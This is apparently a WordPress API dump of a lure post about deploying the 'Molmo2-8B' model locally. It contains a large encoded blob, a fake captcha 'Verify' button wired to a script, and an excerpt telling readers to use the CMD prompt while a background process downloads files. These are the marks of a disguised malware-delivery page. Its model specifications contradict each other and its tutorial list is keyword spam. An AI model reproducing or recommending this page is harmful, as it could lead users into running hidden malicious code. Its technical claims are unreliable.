poXVYgpeHZMCdqDkvz62uPDva+3OhZeKHRFxS7ksOaahULmH1pVVyb8+oFgeZOCSo5SW7CUyfGMBL74ahBtQFDODW0DfmeLl0hbvsl1nxBW0XneHhTeApJa7myR9TDxdjSLolqKNycA0Defh911zzHUZ0\/lsU61GOBdG7RA0\/CfZe7JpE1XBWXJB5QLtQ1ebDW1HK5CKoOUIrB+cfB0MjQ138RSR3ewDG+vJiQmomIshAoyAIKPe32s73B0hmAE+3UY8Yv+tTCCP7dR2xZ442926xN1Jx+XZ\/rBJ\/kCFPtFeto1cldKGa+rF8mOSDT12JwCC+AFwlrdLqY+dqIMdOS9tqOZeelH3oeD0cUy74GuUpCnxEvWtQSc1Fx01ogB12m4ioLl67CbLXK9m4T1p05unyQD6X87PbV9bnmJOH5HSdLkLZyUIEbEaqUOHZXexlqQ4IcymXwHlDeNljOGSg\/5uWZ2bloLaGHQ\/3mTChA1nxbf+jVNYF89z726ajwKCUI\/EUIib3DKNQqfzE8amySP25Aq\/RwRBJvv9iQNSMxXwEIbZzwmVl0WwIRk6YQ94PNNbtPy0GGz0OoZIrHSY5bMWjtc895HCUPVgZUNiWAoii3o+eavgttMGT8V\/pDfvEOaT1V+g\/kamUrHCcZa0toPSN4e88xr15OJ4IjYYa3OJdkxVuNY77u1l7lHPJfhCawVOJFE2Pm28gRT\/FjPoTe5XXx79AlFLdEyk8sOwNzsusu8GNp53nqfAX3RVxgIUJrkjGus0i7b1Hc+xxc0s7TT1\/74+46EwrRYEnCXbrPXYV5NWHFILIDC7ru8ex\/+ZBxXFfqrGZ9vf+2I+1bjh9Ee9wBrddfSBP8vaGx+4gR+covZqS8+HPLidfDxfBkUbtLm0VwyU5gfjNDRFUbAxrox0\/xen66ydbpJzVc64ZDjemMaBwDuG\/H5XNkRfxUJk9EkXiJ76KBa6WK9IwAagxh3y1D5tZRB8xDS+9RWs7yqZRVa3rOCkVwAO5Z2OJZ856LWW\/ZEn4e7VUv5tixQh5\/sF40NRjxelb\/p2rTS7bd0X\/vP+PBBFo57E1GLTxELPhPLaiRWqL5FjV95MRC3NPI\/8Cq+uH9p8DbBhKyv44XVxzuueryapq5Xq+KECoN2w882qDPFpc8aHAD59GZUoE5ojXpiuoWE2vXYdTVDTuvjcD\/UDtge3olsJOCa1DrojT7liQVBbn6kgTTPNBbdK0i6iHOmMTkorcVaePSlV59\/bgCy5GUz2mafgX019xX3TEwTiADJhgI877AH0Bf6Q6ZmVnesg\/SS0IWDl7FMUvUfiqjGDh1pZXdEZ4VACYScBJpOJRoNzlanEN18mAIPsUwWX0GyrLuoU+in1vf2di4Dt63aN6qLif3NFYxMwBMRwZMNTEwI2z1T4ZKqZUEYkqLnUEa++VhIVoW\/5S\/iNVLiu9jMrTqWq3qN2L6q8LIdXKonMvUUFQ6i1MfOEyie4XSdTOb8Nt74d+RjKwOf1K3zu+M3t7fzQyDyG+l7QWXXZIbdQrpklEIHz\/\/ESd7D\/Tj8XJaPI+T7CS1ht7QGvwHRLxgEGfh0tH2I2iDalkELsdfDKO\/TPM7KW3rcMvCGEnhf\/JbTlGVDl3cQw19D0zzNsVKyPe3KvgqrFkl6jsH3Kov\/arn7uPjtRTrqqzaLpcWI\/mdZ+eNMMbxLoADk6UqieOMM05+nKItpT0Dxu2EikhNAT9pwGfFtN7hTidmeg0ugYaGPu81PM7B1sKE35wDXBTvpgPBvUVO73FDToBRsMmpbfiO94ETU3LF5MeG0MizLxa8L+++D\/Mz4QXNMflGUjZSu1B+7Vc0UI\/IeZHpeP5EF6Un\/M8ja4J1yggJjXiCX+2btHQkDX1llCJpYzBebdTu0AOv22dJstgDdUDQFln6uO3XxZD+MhPnKNdwknZYHHShlt4POw6lnNE+qA\/mBigdL5SqPTu34MZc\/gun1bSgx+FG7F+6RLUXj9paCbd3bF8X9VsveTy7HsRVpc9sNlDfmAWA2pXuIE9ooeEdniD2LKDvnMhmq3VO1MEQ+7OTVgmmRkhD1w4lM7P7Q0Zf31sBKq\/dDPlUV6Ri+MrRNNXiBIIeg7MBOVs1Sm38h6FBJj7CO865SCOM\/IHwNkyAYGGw6vLpQ1l4oVYBpGhFmCC0ggJOC0oWJvxZ\/eE7t7UiEedS\/bFeBgFAb8nMzUwFpTXQ6a5bwSD\/lKfupe3VfLjDaZw0GHySVTQaFoZqtr4JV5NVRco3EmbjL5n7M4ynd1EkIQ0AfCzvufltoRMSKRV6YbSebcuZ1zaRCJZpf3zzrBnaIIF6fIOpqZXwSAgkG3RafrW0vjF6g3QP8uXnMm9yi7C+fAOqz\/wulIPPY6BPnqtyhegQMNU2NjLmpNiIB4XGmhMXvs37+\/LoOr8kLpK8vzqoEIQq1LduC4utcqvllm2RZyoHFk6aYYgxS4sxoUPn6vvV7ZZdRNCaLItbCWG35dDNxyzLFHcKHXMnoe1vg\/51JvgGZmrspkuZ4o26onsf+kjgEjmQbSBqFN6KZYIMj0wfW00DveIYZr4PyjVxMYAXLt3Dd+g9QCb+v6xjrRi4GDjiKRE4eqXcrpZNpOvH6iAmucnmgbuYc900bc2H2BwT04pPAzhGnSH7vtRRIBrWOC3d0bsRHCjWk\/WOI4lw4sH8m76PhDi3qs9ECPQwKaZDHajA9Mit6eJKqMOjdy5\/bpYP2ja8MzbrHNz30hs8rc\/aozSs+dWzZG5o3mxUzuulMmyMD2ByFlbThQR7c1MJgto+Zq7bj18AGvCsLdPWyngVdw\/G9l0LwenOhHZVoDfzxRw6m0qp87GsLCT+Ojdnfq+eq+60mnrKkyqJg8vD7+7YsV\/uhZPWdBNNJ65DY2kgP4wpR1b2m6im4Uhd5jwTtk1m9Oju7P4eA21SuZ3Jtll7kfpHkiBbdpHgNz8WGueNAQTeI95VwjrP0\/c2WKJJKLAH+e1soumZdwh3OoVRUINC6BoqzP01RDWRPqro2MmWE0Q1Y625QLM+N77GpywnQBraKHmCBszTIJN9vXXzGlnMrN+2Jqgp+ofRsHc5rkTLlmNIdl2OxafYB\/RB94OTmC6T9pr2SAo3+ekUbylXR0PO0jQHknvR0c8WRMAKoT6YIbu0ZuH5jNMc7LkkSatA1wBayHdbipTuebPQm5NlE\/H\/7E3Kx+qi9H5mSSXXVgGhnf0iFJlZJNxHMXVr15mNrdJjy0+CLT9\/\/h32GEaXg5NDH8BCjVoHv9sM5VETKojBcTobrsCMoQtJRwMX\/WP00SrZ9woc1R3\/sO9yhiriS0bfUUPJAFqKCEFKFCf1l8NY8lRKsWx\/w4Mqn2v1\/\/Y1059\/owvSHs7lHtFbO0GJM1CajUOvq\/C\/DcY43Rrd3G92aMLXc11VeOyix92iLyyCAVIO3L6i3BaAf5IRP6WlvfD4DixYt4ySAAV24wAXfnbVZ+Da7ywIuxGRG832xRIK4DQY\/B4mH9x9MZwx4j0P+h3Xm6pxAEJ8nh5jlRt\/UHxmXdP4rB0cl\/8ulOVPghK4+jIsi7j92\/af0Tx\/h6bxZ5XeSETnl+hKNdrHPW\/gArkQwaFONhhhp08EOqP\/6ULxiTxAQ95zlc4CGjD4nNB\/TBeySLv7tv01lY7ehNvT26ZfJPx5W\/i8AMarV9DzY9DPJkgNmRDxVQnXyAOESXlJ9mDeZYYNdB+o\/128GisjCLMZg9kBY5iifWE3Xhjx7VnjS68YztNWgEDA9jnJEl5Yl6XzqPtc1I+iGBvwdqeB2FF9wJ7ixVlPxcltIYrBoWpI87mkR5YUgx4gNvJ8spVaAPwgD1p5N5xkymOtS\/mthFi2NLD3eQ9OKNFsP8exME2xrs\/kFatZOUFY2G9AqYOSiAS8TWRGtS29yv+An3GR9rIHPHipBckut2YNXdi7573VSL4ec1x6QQywZCrhE1fODh1aZ86gLmZmuq93cZy9u+FDuPW6LpvDmFuEkJnHCJygFz0pJrrIgqZAEU3+bs9oMGPAxlRYJofHHEVDOO4EqCIOmDFrr66WCpo5BGCoJhVAheA9+KP3mbnD4rwIA4RDAKx7u0ZdVipPShxkcEaz4xwmhg6I9DzGShY+KZSTClNs8zxQAW+0ZdJJn8aws8z\/SY2I2loAQok\/Reh6pMUXN\/DsuGRQciBF3BsWhAERTloHM+gITDdpwtadxUo9itzzXm0tYEH2JX34hz63615R80MGzXvqYM4fuo7RYhYeb34\/OX1JMyu16a55HLtgpdskPZgXjaspMFro2sWMuIOsESclfgeCFD0KsVPTmiD7zT+yECbzntnc6T95\/s3fP+fX67Yg7F4cVGZGE64V1o40JepRXEvN0NVnrLoHN2+R6Xt9yT5AkVdUz0GSFRRWS+8xeuaW3mJG7EGRiTyGWB3RvArAPfTg5tjjY8idKK5vFD3Bcca2Hf7yFKkt40TfX9E7rSs0v3pZbaOQNzX3CRyyKYcodJtTGMxfj2kH77BJvZNUiPLFevxa9jURj0BHNprNJamgcqAADwfUuJrMn7vQ\/qXUIKTfBkG\/MeJlShv4nhGAaRsA6\/fodjYGgR3Q5KH0UQ85HREUinfMWGiRPwzXPygQ3mPTbzo1\/SYljnr+k6sdik462UQq6llH3Pr01Um6fntcc1Z5c9ugQgFy9BGHKDV2AAj3n+21D4pWEWulxWhkmdVNi\/l0cjkGxuJERIdo3YiIgYeaSh4Qtxm0Tj3dnSG\/+3ZXTHC75\/bZyHWSBuJ7zl6EvfpIa7rKS6Ipl4SfHJVnr0eHufMKjyeK8No\/B\/i4xgx5DRt+UrRxjfbbaqNAllTeE2c88HJRxfkmEwy4BJ24N4n\/vqEhvwNR4yJgzU7JL6M71qqm3Ck09ZVB6xRwMgugf+hjeDieqS2EHFNbOEEeyoGzTvaLZ4Xf\/v7nrVJJiDeXE1C5tUzim8m4uPh5zdyv\/Vzeos67e1beMwxvwsiyLRiwBOb\/9+BG5hkSNgVCRZne5+jL\/i8no6527jITT9PrnAQZM4D2cIbEaNO3BRUF\/fetJYQVsJ\/OsFBMnqsrv5kI3b1PQvyj+LzG0AeH1hhu8X6AcfBC9GoxriR8wqrgvkTOdmohLFc1bcRvhu89j5wqFvDC00UO7FPwxnmeQHfesH6cJ7bqB9\/8UoPpGH0VA2m1VNVB350N+P+xlEerlyqyIlisw401Rq28fUWoxBZcj5H\/9XodCj4SBrnPiedv0+TXz5nBb0BkFPur38tY7d75P7daeUfls3dNjV2eeU2oX5zfRho2I9r+m5f6WDcW+93Ij+VuWcLxA5O+A61EXtPEa2S+\/+jG+r7dsoETxli6XisEO\/WD33NqLUveWy0ia6LGelU9hNWa1es64d8QPm5YvfcS51mezaAqbhKaYTlNt7j\/k0HAhvxC9spp1f9P19klFPt\/tWTsytopInYkkC\/\/qCGNPS+J3myKr+eC7hyMeV9rbewReQJ71dtF2JJ71Z2aF669lPYFFyA1Bqv5QSk912DjTdmANV8hwpuwnhyPEbMu0pVDpY9j4vBc9gdwDX2iGtRG6xl2QzXxBeD3MFYUiNfEcM+ASxIRenJy8KQJDD6mIYsNeuMI8+bjj4Z0nSGTSAuvUyXqZILv8x+fFktVaA8KRgUefQz5pOTd0sAbT3ERnJ+yuTuk4kF1pRkaQ4jtnbjVmoILZeo65I8NBfOnf0HKB+5UtwXiZR5jZK\/CIwsuplY5kQHsArMILOVKby9U2ESU2LDyAD0onpr5VAbK3qI5Q\/L1N26fNBQCfArdHO1irqpdo31atwSvi1fax1cx7PdXkNZS+Gl5JHelstoVY4Ah\/HdNtm1oVqCJm3FosgPxuo7tuME6va97X2hLxWvl9YqwgG1olvv5xAvMgPLpwXPcTs4llPP8h0FQ+9X1YXagBJV3JxVVsL4Ibg4qHnl4Pqrik\/kuBP1kXmmhL5gRsXwdh6qXdqhPCXV6rkmENmrEV\/wrCV8ayToQe7mlqOU5ukIbBkmO\/22EN5cha7wAZt8BnlMkjH1rOvurgBIYBq\/7jYCy4Mz3HwsKplptMWbRNQ\/XAeIxuFQlxUgIDrTRXZbMGfCkCHa5I6b8OvZRaraMZ5I\/FNtEIwW4j2tzF6NKC64bvt28KvnrK1j81Y2eU5BLRvX5nXy1LdbhKQvokW70xuZB7aQoAKio6kvHf8KPw7X3naRsxxKzMglFIVxWnvmNY9HX88YqDYmn1mBRr199peg8yIJqG2KexSmc8cJ3NcztfvRDUVGS2+uBHJENN9V7NzbthcGcdyxPVavKzTEaDaPY2FfXttJZgTpoebNK7Gf0YphmOffdb45fblFUrjdrTBqLWz6eKYDZEbO5nauiOC27DJVHv2wifMaruZ+RjXh4qNYJTYm1yRflKkzLiRfDqQdm8ly8xn44mpExdw2ldVLqznQW+b6Y9FN1PP+NGCidaTVCgKGsl6N3ayIR2QlRD75R\/BJ4ByTVuBPJ\/CccuLEJiMgHxSauCxSzJqF6tpRXCSZob2pDGn2\/ooSYYvs8xYd0yGYw4UWFRkE5fvpofA1goR5AejU5QFd1C1w7mvKBymPdhvL\/9GArajq5aRspoJSpxz6EBE8Gk\/9mDVNQgtWNBzbVuQnCofjHzciWNkHxn7dQJBVHbkxn17jpHNwsy9fRue5BV\/Ei5z0zj\/BcYREl6uUprKODgPDG2x9FFD+3MKmvGYXYUodvHJWV3fSigaqJURs7DZAzokzYe7jrzPiwIdtqSxOuwRB40eU70s1Yq278WGe3dZAv0rgbsdOy17plDW0JvPZibTrVeVco5P1uH1OWRZ+qWFivV54ir6e+hxlamXDtgxEytxKiFgyDKUCs\/0pyUbbRJKzIqF\/tfrQrqyan7G2q765twy0Foq9jq8xSEEnXJmFnxgBQ\/se6IzFyeoZcSuLyDuy04fKRKpvKU3w\/yrVWst7MEbolYSKcvffwEt0s4T\/YU\/+C55e2P4fRAC9MGtwwx4Wzon\/IqE6mY71ET8rl8Eq3aDZagwkXRHaMykHTaOf8x0zs1dqpch1\/dfOARWed2SFhXTTBZ8jIBPIRvwARv5K6fQUfDD6r9hiOTARkMGqFZLaEV\/E0YdwANSbWZkVD28ICIX5xtwUcjcvF69P\/5q8imIC8IRlqa2IbqTj8Wh3xB4t+oViTDdfDTwdLTtRZDOElFmibm8MvhBLLG\/IukLJjJxiSx37TM4CXYCHFEYi40bTaGB8zIAcHYvQCSZROozybPfyqNM8V\/e8NjbpAN3H2DqRgC3QKvPrypt7456LY1q5YZIXe08daw4spskc1Y1qsrWC4lXJYlrtgqPT1Q3czYCNAf8MX3x\/OSLapy7i04adAbGf4JifCK9E15u5oBwQ1OJCQq23H3M7Wnq2bbRppiakrIPF\/Llunf+EH2ovQXUxfsrfebwMbquD95cVmPQWmjIbuipX\/oMayHVyfQjcYA1+\/ERbWYiNKrSXXx8xPcEgLuRdzmfZz4ZRtBIxWMpJ\/VrJgniTpnyMo2hRwvnHIfaWpGzNiM0gQiHryNxA5GjRDhr2xG1Dbgsln3UugJQsp8evRWLreWm5H0OfYXeVnsy2r8yTF5n7AQusXTD8n4aXU6a2af78W7efouwqq\/vU\/vmGvl7WgF\/Hpss5MPOmIWwDyb2KlZS0WXhbC8PTiTtxsmmkS3yTbpIx0eninPWYX1sZAqIOLheZTJ0E+TKhnLABmwSaebkM\/xDCprHBK5Sae9EOXhB1SHrtKXJZ295T12bvA3lflaEzgAPfixj8BtvvuYHHchCnzoLWWryXQ7ALeOpm0aJIBOMOEpuzqgT087HbpF9y8uguEflI\/538+IxhbBCod\/w7p7LKs19WnAssT8O+JvcGPPbykopIbaDHE\/7Kco566gzrvGlGorYrBf0ZvPdKi8w6H0rVWZWpw25EB5GhMPWwTbAGvptyxvThKhenyMfN2UDbJI1wVjORkApKZ0hFW1vfgjv4tySlqA6SWmESHaHUo7xEAoTvJoWryeQkdIXBg1n\/Yv17Ror++CrpZb61VhuW3o+mh5ryZ6dKNF4MPL2Vh8HFrV5kH9k6mu4SXDJk5JUN\/o1snHWBjHBcpGHZC2Zq1Rafrbxkd6GAS\/kTULfNEvQkUp8RwjxWZfZkOPZC9LizgAEJRepv+mq00HLR9IgoehJpmP6V98u0o1Jyyvkoha2FNwled3wgFQJtf8Vgae1K+f\/QUFn+rO4N7xdY1R1QKb9ZTmlVciKJmW49HrbvXCa3OU+Jto35LhLSM5svcQPPHv05TyEY8aTf87YO\/xyABaDeZCaLZB8Op+tRqyQL8Td8xYv25mIZ6xjO50u8PzCabVgwQyxU+KeSWc+SFSwHycXukJAi0nZMGjDYqSauWpSZBluBaNI5UwDAjO6\/5KTBUpSNSoXeTiosZOVFozitSB11XwOwY1ggDi46E288VSe\/Xs4mP+XqOZ6DpXK5evmB0fyc1TA0XWQeW6paXMC7NKjuBhufyYsaMFUz1F1reImf+VG6UgXlcYve\/zwq8eXtfNDg9sBX0nykurUae3aVW2LvfjGwWVn+RVQFfUatcOponK7+ZuvDNkR2XXj9FiNauSiVYeBIpr+kD\/EvWvYUHcuW5Q38Tk9xZBYRz\/ufhw28S\/BwCnbitDE99mPNsxbuv4YwEqydBdkKKB63\/VGNg\/aIIN5n2CuyUL2WHchIpNfCH+6mqAEaPqwLQgnTekt40fNw336ebsBe0jVEEq+OdZfn7\/RvTmrcVMkxO10HGFNVClwWCzcBHA7rXbDjhpkB3NYAwZNCo495zi\/n022kSG\/IRcmeJub7XlD4wU6uXvh45jD9bq8Y5l3JKBzab5mSbmqXnIEmX\/uMuajQo7xg2McmEyf5toTMyM8Shsy0T0AqiC0DhNkoOkgQJ2OPykklBVLjL54jYx+PZD3Vj\/0YWbJ5OcNTYPX6OzLdOG35Ry9pJzXQ5tr++1gknNIjdKuFl7Oodt83rdShXQSnJKV3e8Jnz7mU\/Uf2Xumo1UTttntSRCyLVzUZdx6LqqlhCfKgwuiijBqu9yrcJDtNiFvxDdC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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0;\">\n<li><b>Processor:<\/b> 6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><b>RAM:<\/b> high-speed <b>DDR5 memory<\/b> preferred for CPU offloading<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><b>Graphic Processor:<\/b> RTX 3060 or RX 6600 <b>for minimum 8B VRAM offloading<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Molmo2-8B<\/b> is a compact <b>vision-language model<\/b> that balances performance with efficiency for a wide range of multimodal tasks. It leverages an improved <i>attention mechanism<\/i> and a larger-scale pretraining corpus to achieve <i>state-of-the-art<\/i> results on benchmarks such as VQA and text\u2011to\u2011image generation. With <b>8\u202fbillion parameters<\/b>, the model fits comfortably on a single GPU while maintaining a <b>context window<\/b> of up to 8K tokens for complex reasoning. A dedicated fine\u2011tuning pipeline enables developers to adapt the model for specialized domains, from medical imaging to robotics, without significant loss of capability. The following table compares key specifications of <b>Molmo2-8B<\/b> against earlier versions to highlight its advancements.    <\/p>\n<table>\n<tr>\n<th>Metric<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>8\u202fB<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td>Training Data<\/td>\n<td>Public multimodal corpora<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Script automating git repository branch pulls for fast-evolving WebUI components architecture<\/li>\n<li>How to Deploy Molmo2-8B FREE<\/li>\n<li>Downloader pulling specialized offline translation models for LibreTranslate network cluster server nodes<\/li>\n<li>How to Deploy Molmo2-8B Windows 10 with 1M Context 2026\/2027 Tutorial<\/li>\n<li>Script downloading modern cross-encoder weights for refining local RAG workflows<\/li>\n<li>How to Deploy Molmo2-8B on Copilot+ PC No-Internet Version<\/li>\n<li>Installer automating Intel OpenVINO backend setup for local PC clients<\/li>\n<li>Quick Run Molmo2-8B PC with NPU One-Click Setup Easy Build Windows FREE<\/li>\n<li>Setup tool installing Llamafile single-binary servers for enterprise networks<\/li>\n<li>How to Setup Molmo2-8B on Copilot+ PC Full Speed NPU Mode Windows FREE<\/li>\n<li>Downloader pulling structured JSON output generation models<\/li>\n<li>How to Install Molmo2-8B with 1M Context<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Setting up this model locally is incredibly fast if you use the native CMD prompt. Make sure you implement the steps mentioned below. An automated background process downloads all required large-scale files. There is no manual tuning required; the builder deploys the best matching configuration. \ud83d\uddc2 Hash: 270bb6cbd8d867b6b7d13fca9f73ec6e \u2022 Last Updated: 2026-06-26 Verify Processor: 6-core [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[51],"tags":[],"class_list":["post-949","post","type-post","status-publish","format-standard","hentry","category-extensions"],"_links":{"self":[{"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/posts\/949","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/comments?post=949"}],"version-history":[{"count":1,"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/posts\/949\/revisions"}],"predecessor-version":[{"id":950,"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/posts\/949\/revisions\/950"}],"wp:attachment":[{"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/media?parent=949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/categories?post=949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jetpc.cl\/index.php\/wp-json\/wp\/v2\/tags?post=949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}